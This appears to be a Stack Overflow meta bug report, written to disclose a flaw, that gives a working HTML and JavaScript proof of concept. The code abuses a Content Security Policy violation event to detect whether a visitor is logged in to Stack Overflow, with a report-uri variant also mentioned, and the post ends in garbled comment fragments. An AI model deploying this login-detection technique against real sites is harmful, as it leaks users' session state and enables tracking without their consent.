This is very similar to an issue that was recently reported:
SO should stop leaking information to other websites about whether we are logged in
However, the apparent solution of not returning any images is imperfect, and leakage is still possible. I'll demonstrate one such possible way to still get this information, but I would not be surprised if there are other techniques to leak this information (without thinking too much on it, I'm imagining one using a temporary pop-up and a dummy user account).
One way to do this is to use a Content Security Policy that allows the login page, but not the redirect target (yes, a security feature can be used to leak information, isn't it great?).
My demo code will use the SecurityPolicyViolationEvent
JavaScript event, but using some server-side code it is possible to do this in browsers which do not support this event via report-uri
(no JavaScript required!).
Without further ado, here is my demo code which works in Chrome. Click the link to see it in action, telling you if you are logged in or not.
Live Demo
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<meta http-equiv="Content-Security-Policy" content="default-src 'self' 'unsafe-inline' stackoverflow.com;">
<title>Are you logged in to Stack Overflow?</title>
</head>
<body>
<h1>Are you logged in to Stack Overflow?<h1>
<h2 id="answer">...<h2>
<script>
(function() {
'use strict';
// We allow without the www, not with, so that redirect will fail.
var redir = 'http://www.stackoverflow.com';
var notTimeout;
var finished = false;
var answer = document.getElementById('answer');
window.addEventListener('securitypolicyviolation', function(e) {
// If the CSP error is the one expected, then an active session.
if (e.blockedURI.indexOf(redir) === 0) {
if (notTimeout) {
clearTimeout(notTimeout);
}
answer.textContent = 'Yes';
finished = true;
}
}, true);
function done() {
// Wait until the CSP error that follows is fired.
if (!finished) {
notTimeout = setTimeout(function() {
answer.textContent = 'No';
}, 100);
}
}
var img = document.createElement('img');
img.addEventListener('load', done);
img.addEventListener('error', done);
img.src =
'https://stackoverflow.com/users/login?ssrc=head&returnurl=' +
encodeURIComponent(redir) +
'&_=' + Date.now();
})();
</script>
</body>
</html>
I'm not sure why, but I can't seem to get the SecurityPolicyViolationEvent
in Firefox, though it is supposedly supported. This is a standard event though, so unless the spec is changed, support for this event should be expected to improve. Plus, the report-uri
alternative is well-supported.
P.S. I stand by my original answer that this is basically a CSRF problem.
referer
and company are entirely reliable, as I believe some privacy browser extensions will either remove or falsify this value.DNT: 1
?Vivaldi (like Chromium) 1.4.589.38 (Stable channel) (64-bit)
.